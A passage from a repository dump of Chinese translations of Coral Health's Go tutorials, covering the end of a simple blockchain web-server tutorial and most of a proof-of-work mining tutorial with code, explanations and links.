20,\n\t}\n\n\tif err := s.ListenAndServe(); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n```\n\n注意我们选择的端口来自之前创建的 `.env` 文件。我们使用 `log.Println` 为自己提供一个实时的控制台消息来让我们的服务器启动并运行。我们对武器进行了一些配置，然后对 `ListenAndServe` 进行配置。很标准的 Go。\n\n现在我们需要编写 `makeMuxRouter` 函数，该函数将定义所有的处理程序。要在浏览器中查看并写入我们的区块链，我们只需要两个路由，我们将保持它们的简单性。如果我们发送一个 `GET` 请求到 `localhost`，我们将查看到区块链。如果我们发送一 `POST` 请求，我们可以进行写入。\n\n```go\nfunc makeMuxRouter() http.Handler {\n\tmuxRouter := mux.NewRouter()\n\tmuxRouter.HandleFunc(\"/\", handleGetBlockchain).Methods(\"GET\")\n\tmuxRouter.HandleFunc(\"/\", handleWriteBlock).Methods(\"POST\")\n\treturn muxRouter\n}\n```\n\n这是我们的 `GET` 处理器。\n\n```go\nfunc handleGetBlockchain(w http.ResponseWriter, r *http.Request) {\n\tbytes, err := json.MarshalIndent(Blockchain, \"\", \"  \")\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tio.WriteString(w, string(bytes))\n}\n```\n\n我们只需以 JSON 格式回写完整的区块链，就可以通过访问 `localhost:8080` 在任意浏览器中能够查看。我们在 `.env` 文件中将 `ADDR` 变量设置为 8080，如果您更改它，请确保访问您的正确端口。\n\n我们的 `POST` 请求有些复杂（复杂情况并不多）。首先，我们需要一个新的 `Message` `struct`。稍后我们会解释为什么我们需要它。\n\n```go\ntype Message struct {\n\tBPM int\n}\n```\n\n下面是编写新块的处理程序的代码。您看完后我们会带您再看一遍。\n\n```go\nfunc handleWriteBlock(w http.ResponseWriter, r *http.Request) {\n\tvar m Message\n\n\tdecoder := json.NewDecoder(r.Body)\n\tif err := decoder.Decode(&m); err != nil {\n\t\trespondWithJSON(w, r, http.StatusBadRequest, r.Body)\n\t\treturn\n\t}\n\tdefer r.Body.Close()\n\n\tnewBlock, err := generateBlock(Blockchain[len(Blockchain)-1], m.BPM)\n\tif err != nil {\n\t\trespondWithJSON(w, r, http.StatusInternalServerError, m)\n\t\treturn\n\t}\n\tif isBlockValid(newBlock, Blockchain[len(Blockchain)-1]) {\n\t\tnewBlockchain := append(Blockchain, newBlock)\n\t\treplaceChain(newBlockchain)\n\t\tspew.Dump(Blockchain)\n\t}\n\n\trespondWithJSON(w, r, http.StatusCreated, newBlock)\n\n}\n```\n\n使用独立 `Message` 结构的原因是接收 JSON POST 请求的请求体，我们将使用它来编写新的块。这允许我们简单地发送带有以下主体的 POST 请求，我们的处理程序将为我们填充该块的其余部分：\n\n`{\"BPM\":50}`\n\n`50` 是一个以每分钟为单位的脉搏频率的例子。用一个整数值来改变您的脉搏率。 \n\n在将请求体解码成 `var m Message` 结构后，通过传入前一个块并将新的脉冲率传递到前面编写的 `generateBlock` 函数中来创建一个新块。这就是函数创建新块所需的全部内容。我们使用之前创建的 `isBlockValid` 函数，快速检查以确保新块是正常的。 \n\n**一些笔记**\n\n*   `_spew.Dump_` **是一个方便的函数，它可以将我们的结构打印到控制台上。这对调试很有用。**\n*    **对于测试 POST 请求，我们喜欢使用** [**Postman**](https://www.getpostman.com/apps)**。`curl`** 效果也很好，如果您不能离开终端的话。\n\n当我们的 POST 请求成功或者失败时，我们希望得到相应的通知。我们使用了一个小包装器函数  `respondWithJSON` 来让我们知道发生了什么。记住，在 Go 中，千万不要忽略它们。[要优雅地处理它们](https://dave.cheney.net/2016/04/27/dont-just-check-errors-handle-them-gracefully)。\n\n```go\nfunc respondWithJSON(w http.ResponseWriter, r *http.Request, code int, payload interface{}) {\n\tresponse, err := json.MarshalIndent(payload, \"\", \"  \")\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tw.Write([]byte(\"HTTP 500: Internal Server Error\"))\n\t\treturn\n\t}\n\tw.WriteHeader(code)\n\tw.Write(response)\n}\n```\n**快要完成了！**\n\n让我们将所有不同的区块链函数、Web 处理程序和 Web 服务器链接在一个简短、干净的 `main` 函数中：\n\n```go\nfunc main() {\n\terr := godotenv.Load()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tgo func() {\n\t\tt := time.Now()\n\t\tgenesisBlock := Block{0, t.String(), 0, \"\", \"\"}\n\t\tspew.Dump(genesisBlock)\n\t\tBlockchain = append(Blockchain, genesisBlock)\n\t}()\n\tlog.Fatal(run())\n\n}\n```\n\n这是怎么回事？\n\n*   `godotenv.Load()` 允许我们从根目录中的 `.env` 文件中读取像端口号这样的变量，这样我们就不必在整个应用程序中对它们进行硬编码（恶心！）。\n*   `genesisBlock` 是 `main` 函数中最重要的部分。我们需要为我们的区块链提供一个初始区块，否则新区块将无法将其先前的散列与任何东西比较，因为先前的散列并不存在。\n*   我们将初始块隔离到它自己的 Go 例程中，这样我们就可以将关注点从我们的区块链逻辑和 Web 服务器逻辑中分离出来。但它只是以这种没有 Go 例程情况下作更优雅的方式工作。\n\n### **太好了！我们完成了！**\n\n以下是全部代码：\n\n- [**mycoralhealth/blockchain-tutorial**: 区块链-教程 —— 用少于 200 行的 Go 编写并发布您自己的区块链 **github.com**](https://github.com/mycoralhealth/blockchain-tutorial/blob/master/main.go)\n\n**现在来讨论下有趣的事情**。让我们试一下 :-)\n\n使用 `go run main.go` 从终端启动应用程序\n\n在终端中，我们看到 Web 服务器已经启动并运行，我们得到了我们的初始块的打印输出。\n\n![](https://cdn-images-1.medium.com/max/800/1*sAkFOcjHxX9WnjGPud84rQ.png)\n\n现在使用您的端口号来访问 `localhost`，对我们来说是 8080。不出所料，我们看到了相同的初始块。 \n\n![](https://cdn-images-1.medium.com/max/800/1*4HRKAkMy1smgB9xpGLj6RA.png)\n\n现在，让我们发送一些 POST 请求来添加块。使用 Postman，我们将添加一些具有不同 BPM 的新块。\n\n![](https://cdn-images-1.medium.com/max/800/1*eYfFp1lqJUiAS1S6K8ZHbQ.png)\n\n让我们刷新一下浏览器。瞧，我们现在看到链中的所有新块都带有新块的 `PrevHash`与旧块的 `Hash` 相匹配，正如我们预期的那样！\n\n![](https://cdn-images-1.medium.com/max/800/1*Qo4eZ0hQ1gMdXrsvBGSnxg.png)\n\n**下一步**\n\n恭喜！您只是用适当的散列和块验证来编写自己的块链。现在您应该能够控制自己的区块链之旅，并探索更复杂的主题，如工作证明、利益证明、智能合约、Dapp、侧链等等。 \n\n本教程没有讨论的是如何使用工作证明来挖掘新的块。这将是一个单纯的教程，但大量的区块链存在，没有证明工作机制。此外，目前通过在 Web 服务器中写入和查看区块链来模拟广播。本教程中没有 P2P 组件。\n\n如果您想我们添加诸如工作证明和人际关系之类的内容，请务必在我们的 [**Telegram**](https://t.me/joinchat/FX6A7UThIZ1WOUNirDS_Ew) 中告诉我们，并关注我们的 [**Twitter**](https://twitter.com/myCoralHealth)！这是和我们沟通的最好的方式。问我们问题，给出反馈，并建议新教程。我们很想听听您的意见。\n\n### 通过大众需求，我们增加了本教程的后续内容！看看它们！\n\n*   [**区块链网络**](https://medium.com/@mycoralhealth/part-2-networking-code-your-own-blockchain-in-less-than-200-lines-of-go-17fe1dad46e1)。\n*   [**编码您自己的区块链挖掘算法！**](https://medium.com/@mycoralhealth/code-your-own-blockchain-mining-algorithm-in-go-82c6a71aba1f)\n*   [**了解如何使用 ipfs，通过区块链存储数据。**](https://medium.com/@mycoralhealth/learn-to-securely-share-files-on-the-blockchain-with-ipfs-219ee47df54c)\n*   [**编写您自己的树桩算法证明！**](https://medium.com/@mycoralhealth/code-your-own-proof-of-stake-blockchain-in-go-610cd99aa658)\n\n想了解更多关于珊瑚健康的信息，以及我们如何使用区块链来推进个性化用药/治疗研究，请访问我们的[网站](https://mycoralhealth.com/)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/code-your-own-blockchain-mining-algorithm-in-go.md",
    "content": "> * 原文地址：[Code your own blockchain mining algorithm in Go!](https://medium.com/@mycoralhealth/code-your-own-blockchain-mining-algorithm-in-go-82c6a71aba1f)\n> * 原文作者：[Coral Health](https://medium.com/@mycoralhealth?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/code-your-own-blockchain-mining-algorithm-in-go.md](https://github.com/xitu/gold-miner/blob/master/TODO1/code-your-own-blockchain-mining-algorithm-in-go.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[stormluke](https://github.com/stormluke)，[mingxing47](https://github.com/mingxing47)\n\n# 用 Go 编写你自己的区块链挖矿算法！\n\n![](https://cdn-images-1.medium.com/max/800/1*zwlWlWAwTRxaoKkds63rfQ.png)\n\n**如果你对下面的教程有任何问题或者建议，加入我们的** [*Telegram*](https://t.me/joinchat/FX6A7UThIZ1WOUNirDS_Ew) **消息群，可以问我们所有你想问的！**\n\n随着最近比特币和以太坊挖矿大火，很容易让人好奇，这么大惊小怪是为什么。对于加入这个领域的新人，他们会听到一些疯狂的[故事](https://www.coindesk.com/inside-north-americas-8m-bitcoin-mining-operation/)：人们用 GPU 填满仓库，每个月赚取价值数百万美元的加密货币。电子货币挖矿到底是什么？它是如何运作的？我如何能试着编写自己的挖矿算法？\n\n在这篇博客中，我们将会带你解答上述每一个问题，并最终完成一篇教你如何编写自己的挖矿算法的教程。我们将展示给你的算法叫做**工作量证明**，它是比特币和以太坊这两个最流行的电子货币的基础。别急，我们马上将为你解释它是如何运作的。\n\n**什么是电子货币挖矿**\n\n为了有价值，电子货币需要有一定的稀缺性。如果谁都可以随时生产出他们想要的任意多的比特币，那么作为货币，比特币就毫无价值了。（等一下，美国联邦储备不是这么做了么？*打脸*）比特币算法每十分钟将会发放一些比特币给网络中一个获胜成员，这样最多可以供给大约 122 年。由于定量的供应并不是在最一开始就全部发行，这种发行时间表在一定程度上也控制了膨胀。随着时间流逝，发行地速度将越来越慢。\n\n决定胜者是谁并给出比特币的过程需要他完成一定的“工作”，并与同时也在做这个工作的人竞争。这个过程就叫做**挖矿**，因为它很像采矿工人花费时间完成工作并最终（希望）找到黄金。\n\n比特币算法要求参与者，或者说节点，完成工作并相互竞争，来保证比特币不会发行过快。\n\n**挖矿是如何运作的？**\n\n一次谷歌快速搜索“比特币挖矿如何运作？”将会给你很多页的答案，解释说比特币挖矿要求节点（你或者说你的电脑）[**解决一个很难的数学问题**](https://www.bitcoinmining.com/)。虽然从技术上来说这是对的，但是简单的把它称为一个“数学”问题太过有失实质并且太过陈腐。了解挖矿运作的内在原理是非常有趣的。为了学习挖矿运作原理，我们首先要了解一下加密算法和哈希。\n\n**哈希加密的简短介绍**\n\n**单向加密**的输入值是能读懂的明文，像是“Hello world”，并施加一个函数在它上面（也就是，数学问题）生成一个不可读的输出。这些函数（或者说算法）的性质和复杂度各有不同。算法越复杂，逆运算解密就越困难。因此，加密算法能有力保护像用户密码和军事代码这类事物。\n\n让我们来看一个 SHA-256 的例子，它是一个很流行的加密算法。这个[哈希网站](http://www.xorbin.com/tools/sha256-hash-calculator)能让你轻松计算 SHA-256 哈希值。让我们对“Hello world”做哈希运算来看看将会得到什么：\n\n![](https://cdn-images-1.medium.com/max/800/1*_qWZ8MB6pKezY_76qPjEjA.png)\n\n试试对“Hello world”重复做哈希运算。你每次都将会得到同样的哈希值。给定一个程序相同的输入，反复计算将会得到相同的结果，这叫做幂等性。\n\n加密算法一个基本的属性就是（输出值）靠逆运算很难推算输入值，但是（靠输入值）很容易就能验证输出值。例如，用上述的 SHA-256 哈希算法，其他人将 SHA-256 哈希算法应用于“Hello world”很容易的就能验证它确实输出同一个哈希值结果，但是想从这个哈希值结果推算出“Hello world”将会**非常困难**。这就是为什么这类算法被称为**单向**。\n\n比特币采用 **双 SHA-256** 算法，这个算法就是简单的将 SHA-256 **再一次**应用于“Hello world”的 SHA-256 哈希值。在这篇教程中，我们将只应用 SHA-256 算法。\n\n**挖矿**\n\n现在我们知道了加密算法是什么了，我们可以回到加密货币挖矿的问题上。比特币需要找到某种方法，让希望得到比特币参与者“工作”，这样比特币就不会发行的过快。比特币的实现方式是：让参与者不停地做包含数字和字母的哈希运算，直到找到那个以特定位数的“0”开头的哈希结果。\n\n例如，回到[哈希网站](http://www.xorbin.com/tools/sha256-hash-calculator)然后对“886”做哈希运算。它将生成一个前缀包含三个零的哈希值。\n\n![](https://cdn-images-1.medium.com/max/800/1*5l3FgMIR5Gn_AUZ1X5mW9Q.png)\n\n但是，我们怎么知道 “886” 能得出一个开头三个零的结果呢？这就是关键点了。在写这篇博客之前，我们**不知道**。理论上，我们需要遍历所有数字和字母的组合、测试结果，直到得到一个能够匹配我们需求的三个零开头的结果。给你举一个简单的例子，我们其实已经预先做了计算，发现 “886” 的哈希值是三个零开头的。\n\n任何人都可以很轻松的验证 “886” 的哈希结果是三个零前缀，这个事实**证明了**：我做了大量的工作来对很多字母和数字的组合进行测试和检查以获得这个结果。所以，如果我是第一个得到这个结果的人，我就能通过**证明**我做了工作来得到比特币 - 证据就是任何人都能轻松验证 “886” 的哈希结果为三零前缀，正如我宣称的那样。这就是为什么比特币共识算法被称为**工作量证明**。\n\n但是如果我很幸运，我第一次尝试就得到了三零前缀的结果呢？这几乎是不可能的，并且那些偶然情况下第一次就成功挖到了区块（证明他们做了工作）的节点会被那些做了额外工作来找到合适的哈希值的成千上万的其他区块所压倒。试试看，在计算哈希的网站上输入任意其他的字母和数字的组合。我打赌你不会得到一个三零开头的结果。\n\n比特币的需求要比这个复杂很多（更多个零的前缀！），并且能够通过动态调节需求来确保工作不会太难也不会太容易。记住，目标是每十分钟发行一次比特币，所以如果太多人在挖矿，就需要将工作量证明调整的更难完成。这就叫**难度调节（adjusting the difficulty）**。为了达成我们的目的，难度调整就意味着需求更多的零前缀。\n\n现在你就知道了，比特币共识机制比单纯的“解决一个数学问题”要有意思的多！\n\n### **足够多背景介绍了。我们开始编程吧！**\n\n现在我们已经有了足够多的背景知识，让我们用工作量共识算法来建立自己的比特币程序。我们将会用 Go 语言来写，因为我们在 Coral Health 中使用它，并且说实话，[棒极了](https://hackernoon.com/5-reasons-why-we-switched-from-python-to-go-4414d5f42690)。\n\n**开始下一步之前，我建议读者读一下我们之前的博文，**[**Code your own blockchain in less than 200 lines of Go!**](https://medium.com/@mycoralhealth/code-your-own-blockchain-in-less-than-200-lines-of-go-e296282bcffc)。**并不是硬性需求，但是下面的例子中我们将讲的比较粗略。如果你需要更多细节，可以参考之前的博客。如果你对前面这篇很熟悉了，直接跳到下面的“工作量证明”章节。**\n\n**结构**\n\n![](https://cdn-images-1.medium.com/max/800/1*z0fgOU0iYm7Pjc5Zn5nCjA.png)\n\n我们将有一个 Go 服务，我们就简单的把所有代码就放在一个 `main.go` 文件中。这个文件将会提供给我们所需的所有的区块链逻辑（包括工作量证明算法），并包括所有 REST 接口的处理函数。区块链数据是不可改的，我们只需要 `GET` 和 `POST` 请求。我们将用浏览器发送 `GET` 请求来观察数据，并使用 [Postman](https://www.getpostman.com/apps) 来发送 `POST` 请求给新区块（`curl` 也同样好用）。\n\n**引包**\n\n我们从标准的引入操作开始。确保使用 `go get` 来获取如下的包\n\n`github.com/davecgh/go-spew/spew` 在终端漂亮地打印出你的区块链\n\n`github.com/gorilla/mux` 一个使用方便的层，用来连接你的 web 服务\n\n`github.com/joho/godotenv` 在根目录的 `.env` 文件中读取你的环境变量\n\n让我们在根目录下创建一个 `.env` 文件，它仅包含一个我们一会儿将会用到的环境变量。在 `.env` 文件中写一行：`ADDR=8080`。\n\n对包作出声明，并在根目录的 `main.go` 定义引入：\n\n```\npackage main\n\nimport (\n        \"crypto/sha256\"\n        \"encoding/hex\"\n        \"encoding/json\"\n        \"fmt\"\n        \"io\"\n        \"log\"\n        \"net/http\"\n        \"os\"\n        \"strconv\"\n        \"strings\"\n        \"sync\"\n        \"time\"\n\n        \"github.com/davecgh/go-spew/spew\"\n        \"github.com/gorilla/mux\"\n        \"github.com/joho/godotenv\"\n)\n```\n\n如果你读了[在此之前的文章](https://medium.com/@mycoralhealth/code-your-own-blockchain-in-less-than-200-lines-of-go-e296282bcffc)，你应该记得这个图。区块链中的区块可以通过比较区块的 **previous hash** 属性值和前一个区块的哈希值来被验证。这就是区块链保护自身完整性的方式以及黑客组织无法修改区块链历史记录的原因。\n\n![](https://cdn-images-1.medium.com/max/800/1*VwT5d8NPjUpI7HiwPa--cQ.png)\n\n`BPM` 是你的心率，也就是一分钟心跳次数。我们将会用一分钟内你的心跳次数作为我们放到区块链中的数据。把两个手指放到手腕数一数一分钟脉搏内跳动的次数，记住这个数字。\n\n**一些基础探测**\n\n让我们来添加一些在引入后将会需要的数据模型和其他变量到 `main.go` 文件\n\n```\nconst difficulty = 1\n\ntype Block struct {\n        Index      int\n        Timestamp  string\n        BPM        int\n        Hash       string\n        PrevHash   string\n        Difficulty int\n        Nonce      string\n}\n\nvar Blockchain []Block\n\ntype Message struct {\n        BPM int\n}\n\nvar mutex = &sync.Mutex{}\n```\n\n`difficulty` 是一个常数，定义了我们希望哈希结果的零前缀数目。需要得到越多的零，找到正确的哈希输入就越难。我们就从一个零开始。\n\n`Block` 是每一个区块的数据模型。别担心不懂 `Nonce`，我们稍后会解释。\n\n`Blockchain` 是一系列的 `Block`，表示完整的链。\n\n`Message` 是我们在 REST 接口用 `POST` 请求传送进来的、用以生成一个新的 `Block` 的信息。\n\n我们声明一个稍后将会用到的 `mutex` 来防止数据竞争，保证在同一个时间点不会产生多个区块。\n\n**Web 服务**\n\n让我们快速连接好网络服务。创建一个 `run` 函数，稍后在 `main` 中调用他来支撑服务。还需要在 `makeMuxRouter()` 中声明路由处理函数。记住，我们只需要用 `GET` 方法来追溯区块链内容， `POST` 方法来创建区块。区块链不可修改，所以我们不需要修改和删除操作。\n\n```\nfunc run() error {\n        mux := makeMuxRouter()\n        httpAddr := os.Getenv(\"ADDR\")\n        log.Println(\"Listening on \", os.Getenv(\"ADDR\"))\n        s := &http.Server{\n                Addr:           \":\" + httpAddr,\n                Handler:        mux,\n                ReadTimeout:    10 * time.Second,\n                WriteTimeout:   10 * time.Second,\n                MaxHeaderBytes: 1 << 20,\n        }\n\n        if err := s.ListenAndServe(); err != nil {\n                return err\n        }\n\n        return nil\n}\n\nfunc makeMuxRouter() http.Handler {\n        muxRouter := mux.NewRouter()\n        muxRouter.HandleFunc(\"/\", handleGetBlockchain).Methods(\"GET\")\n        muxRouter.HandleFunc(\"/\", handleWriteBlock).Methods(\"POST\")\n        return muxRouter\n}\n```\n\n`httpAddr := os.Getenv(\"ADDR\")` 将会从刚才我们创建的 `.env` 文件中拉取端口 `:8080`。我们就可以通过访问浏览器的 `[http://localhost:8080](http://localhost:8080)` 来访问应用。\n\n让我们写 `GET` 处理函数来在浏览器上打印出区块链。我们也将会添加一个简易 `respondwithJSON` 函数，它会在调用接口发生错误的时候，以 JSON 格式反馈给我们错误消息。\n\n```\nfunc handleGetBlockchain(w http.ResponseWriter, r *http.Request) {\n        bytes, err := json.MarshalIndent(Blockchain, \"\", \"  \")\n        if err != nil {\n                http.Error(w, err.Error(), http.StatusInternalServerError)\n                return\n        }\n        io.WriteString(w, string(bytes))\n}\n\nfunc respondWithJSON(w http.ResponseWriter, r *http.Request, code int, payload interface{}) {\n        w.Header().Set(\"Content-Type\", \"application/json\")\n        response, err := json.MarshalIndent(payload, \"\", \"  \")\n        if err != nil {\n                w.WriteHeader(http.StatusInternalServerError)\n                w.Write([]byte(\"HTTP 500: Internal Server Error\"))\n                return\n        }\n        w.WriteHeader(code)\n        w.Write(response)\n}\n```\n\n**记住，如果觉得这部分讲解太过粗略，请参考[在此之前的文章](https://medium.com/@mycoralhealth/code-your-own-blockchain-in-less-than-200-lines-of-go-e296282bcffc)，这里更详细的解释了这部分的每个步骤。**\n\n现在来写 `POST` 处理函数。这个函数就是我们添加新区块的方法。我们用 Postman 发送一个 `POST` 请求，发送一个 JSON 的 body，比如 `{“BPM”:60}`，到 `[http://localhost:8080](http://localhost:8080)`，并且携带你之前测得的你的心率。\n\n```\nfunc handleWriteBlock(w http.ResponseWriter, r *http.Request) {\n        w.Header().Set(\"Content-Type\", \"application/json\")\n        var m Message\n\n        decoder := json.NewDecoder(r.Body)\n        if err := decoder.Decode(&m); err != nil {\n                respondWithJSON(w, r, http.StatusBadRequest, r.Body)\n                return\n        }   \n        defer r.Body.Close()\n\n        //ensure atomicity when creating new block\n        mutex.Lock()\n        newBlock := generateBlock(Blockchain[len(Blockchain)-1], m.BPM)\n        mutex.Unlock()\n\n        if isBlockValid(newBlock, Blockchain[len(Blockchain)-1]) {\n                Blockchain = append(Blockchain, newBlock)\n                spew.Dump(Blockchain)\n        }   \n\n        respondWithJSON(w, r, http.StatusCreated, newBlock)\n\n}\n```\n\n注意到 `mutex` 的 lock（加锁） 和 unlock（解锁）。在写入一个新的区块之前，需要给区块链加锁，否则多个写入将会导致数据竞争。精明的读者还会注意到 `generateBlock` 函数。这是处理工作量证明的关键函数。我们稍后讲解这个。\n\n**基本的区块链函数**\n\n在开始工作量证明算法之前，我们先将基本的区块链函数连接起来。我们将会添加一个 `isBlockValid` 函数，来保证索引正确递增以及当前区块的 `PrevHash` 和前一区块的 `Hash` 值是匹配的。\n\n我们也要添加一个 `calculateHash` 函数，生成我们需要用来创建 `Hash` 和 `PrevHash` 的哈希值。它就是一个索引、时间戳、BPM、前一区块哈希和 `Nonce` 的 SHA-256 哈希值（我们稍后将会解释它是什么）。\n\n```\nfunc isBlockValid(newBlock, oldBlock Block) bool {\n        if oldBlock.Index+1 != newBlock.Index {\n                return false\n        }\n\n        if oldBlock.Hash != newBlock.PrevHash {\n                return false\n        }\n\n        if calculateHash(newBlock) != newBlock.Hash {\n                return false\n        }\n\n        return true\n}\n\nfunc calculateHash(block Block) string {\n        record := strconv.Itoa(block.Index) + block.Timestamp + strconv.Itoa(block.BPM) + block.PrevHash + block.Nonce\n        h := sha256.New()\n        h.Write([]byte(record))\n        hashed := h.Sum(nil)\n        return hex.EncodeToString(hashed)\n}\n```\n\n### 工作量证明\n\n让我们来看挖矿算法，或者说工作量证明。我们希望确保工作量证明算法在允许一个新的区块 `Block` 添加到区块链 `blockchain` 之前就已经完成了。我们从一个简单的函数开始，这个函数可以检查在工作量证明算法中生成的哈希值是否满足我们设置的要求。\n\n我们的要求如下所示：\n\n*   工作量证明算法生成的哈希值必须要以某个特定个数的零开始\n*   零的个数由常数 `difficulty` 决定，它在程序的一开始定义（在示例中，它是 1）\n*   我们可以通过增加难度值让工作量证明算法变得困难\n\n完成下面这个函数，`isHashValid`：\n\n```\nfunc isHashValid(hash string, difficulty int) bool {\n        prefix := strings.Repeat(\"0\", difficulty)\n        return strings.HasPrefix(hash, prefix)\n}\n```\n\nGo 在它的 `strings` 包里提供了方便的 `Repeat` 和 `HasPrefix` 函数。我们定义变量 `prefix` 作为我们在 `difficulty` 定义的零的拷贝。下面我们对哈希值进行验证，看是否以这些零开头，如果是返回 `True` 否则返回 `False`。\n\n现在我们创建 `generateBlock` 函数。\n\n```\nfunc generateBlock(oldBlock Block, BPM int) Block {\n        var newBlock Block\n\n        t := time.Now()\n\n        newBlock.Index = oldBlock.Index + 1\n        newBlock.Timestamp = t.String()\n        newBlock.BPM = BPM\n        newBlock.PrevHash = oldBlock.Hash\n        newBlock.Difficulty = difficulty\n\n        for i := 0; ; i++ {\n                hex := fmt.Sprintf(\"%x\", i)\n                newBlock.Nonce = hex\n                if !isHashValid(calculateHash(newBlock), newBlock.Difficulty) {\n                        fmt.Println(calculateHash(newBlock), \" do more work!\")\n                        time.Sleep(time.Second)\n                        continue\n                } else {\n                        fmt.Println(calculateHash(newBlock), \" work done!\")\n                        newBlock.Hash = calculateHash(newBlock)\n                        break\n                }\n\n        }\n        return newBlock\n}\n```\n\n我们创建了一个 `newBlock` 并将前一个区块的哈希值放在 `PrevHash` 属性里，确保区块链的连续性。其他属性的值就很明了了：\n\n*   `Index` 增量\n*   `Timestamp` 是代表了当前时间的字符串\n*   `BPM` 是之前你记录下的心率\n*   `Difficulty` 就直接从程序一开始的常量中获取。在本篇教程中我们将不会使用这个属性，但是如果我们需要做进一步的验证并且确认难度值对哈希结果固定不变（也就是哈希结果以 N 个零开始那么难度值就应该也等于 N，否则区块链就是受到了破坏），它就很有用了。\n\n`for` 循环是这个函数中关键的部分。我们来详细看看这里做了什么：\n\n*   我们将设置 `Nonce` 等于 `i` 的十六进制表示。我们需要一个为函数 `calculateHash` 生成的哈希值添加一个变化的值的方法，这样如果我们没能获取到我们期望的零前缀树木，我们就能用一个新的值重新尝试。**这个我们加入到拼接的字符串中的变化的值** `**calculateHash**` **就被称为“Nonce”**\n*   在循环里，我们用 `i` 和以 0 开始的 Nonce 计算哈希值，并检查结果是否以常量 `difficulty` 定义的零数目开头。如果不是，我们用一个增量 Nonce 开始下一轮循环做再次尝试。\n*   我们添加了一个一秒钟的延迟来模拟解决工作量证明算法的时间\n*   我们一直循环计算直到我们得到了我们想要的零前缀，这就意味着我们成功的完成了工作量证明。当且仅当这之后才允许我们的 `Block` 通过 `handleWriteBlock` 处理函数被添加到 `blockchain`。\n\n我们已经写完了所有函数，现在我们来完成 `main` 函数：\n\n```\nfunc main() {\n        err := godotenv.Load()\n        if err != nil {\n                log.Fatal(err)\n        }   \n\n        go func() {\n                t := time.Now()\n                genesisBlock := Block{}\n                genesisBlock = Block{0, t.String(), 0, calculateHash(genesisBlock), \"\", difficulty, \"\"} \n                spew.Dump(genesisBlock)\n\n                mutex.Lock()\n                Blockchain = append(Blockchain, genesisBlock)\n                mutex.Unlock()\n        }() \n        log.Fatal(run())\n\n}\n```\n\n我们使用 `godotenv.Load()` 函数加载环境变量，也就是用来在浏览器访问的 `:8080` 端口。\n\n一个 go routine 创建了创世区块，因为我们需要它作为区块链的起始点\n\n我们用刚才创建的 `run()` 函数开始网络服务。\n\n## 完成了！是时候运行它了！\n\n这里有完整的代码。\n\n- [**mycoralhealth/blockchain-tutorial**: blockchain-tutorial - Write and publish your own blockchain in less than 200 lines of Go_github.com](https://github.com/mycoralhealth/blockchain-tutorial/blob/master/proof-work/main.go)\n\n让我们试着运行这个宝宝！\n\n用 `go run main.go` 来开始程序\n\n然后用浏览器访问 `[http://localhost:8080](http://localhost:8080)`：\n\n![](https://cdn-images-1.medium.com/max/800/1*8QVgGXKcpEzib3aK0tGjVw.png)\n\n创世区块已经为我们创建好。现在打开 Postman 然后发送一个 `POST` 请求，向同一个路由以 JSON 格式在 body 中发送之前测定的心率值。\n\n![](https://cdn-images-1.medium.com/max/800/1*U9MUVrllrqzfV3Sy68QsAg.png)\n\n发送请求之后，**在终端看看发生了什么**。你将会看到你的机器忙着用增加 Nonce 值不停创建新的哈希值，直到它找到了需要的零前缀值。\n\n![](https://cdn-images-1.medium.com/max/800/1*FaQhDF1kr8N4f9tua4zGZQ.png)\n\n当工作量证明算法完成了，我们就会得到一条很有用的 `work done!` 消息，我们就可以去检验哈希值来看看它是不是真的以我们设置的 `difficulty` 个零开头。这意味着理论上，那个我们试图添加 BPM = 60 信息的新区块已经被加入到我们的区块链中了。\n\n我们来刷新浏览器并查看：\n\n![](https://cdn-images-1.medium.com/max/800/1*rVBUxrpTcl-zvarqs0K96Q.png)\n\n**成功了**！我们的第二个区块已经被加入到创世区块之后。这意味着我们成功的在 `POST` 请求中发送了区块，这个请求触发了挖矿的过程，并且当且仅当工作量证明算法完成后，它才会被添加到区块链中。\n\n### 接下来\n\n很棒！刚才你学到的真的很重要。工作量证明算法是比特币，以太坊以及其他很多大型区块链平台的基础。我们刚才学到的并非小事；虽然我们在示例中使用了一个很低的 difficulty 值，但是将它增加到一个比较大的值**就正是**生产环境下区块链工作量证明算法是如何运作的。\n\n现在你已经清楚了解了区块链技术的核心部分，接下来如何学习将取决于你。我向你推荐如下资源：\n\n*   在我们的 [Networking tutorial](https://medium.com/@mycoralhealth/part-2-networking-code-your-own-blockchain-in-less-than-200-lines-of-go-17fe1dad46e1) 教程中学习联网区块链如何工作。\n*   在我们的 [IPFS tutorial](https://medium.com/@mycoralhealth/learn-to-securely-share-files-on-the-blockchain-with-ipfs-219ee47df54c) 教程中学习如何以分布式存储大型文件并用区块链通信。\n\n如果你做好准备做另一次技术上的跳跃，试着学习 **股权证明（Proof of Stake）** 算法。虽然大多数的区块链使用工作量证明算法作为共识算法，股权证明算法正获得越来越多的关注。很多人相信以太坊将来会从工作量证明算法切换到股权证明算法。\n\n**想看关于工作量证明算法和股权证明算法的比较教程？在上面的代码中发现了错误？喜欢我们做的事？讨厌我们做的事？**\n\n### **通过** [**加入我们的 Telegram 消息群**](https://t.me/joinchat/FX6A7UThIZ1WOUNirDS_Ew) **让我们知道你的想法**！你将得到本教程作者以及 Coral Health 团队其他成员的热情应答。\n\n想要了解更多关于 Coral Health 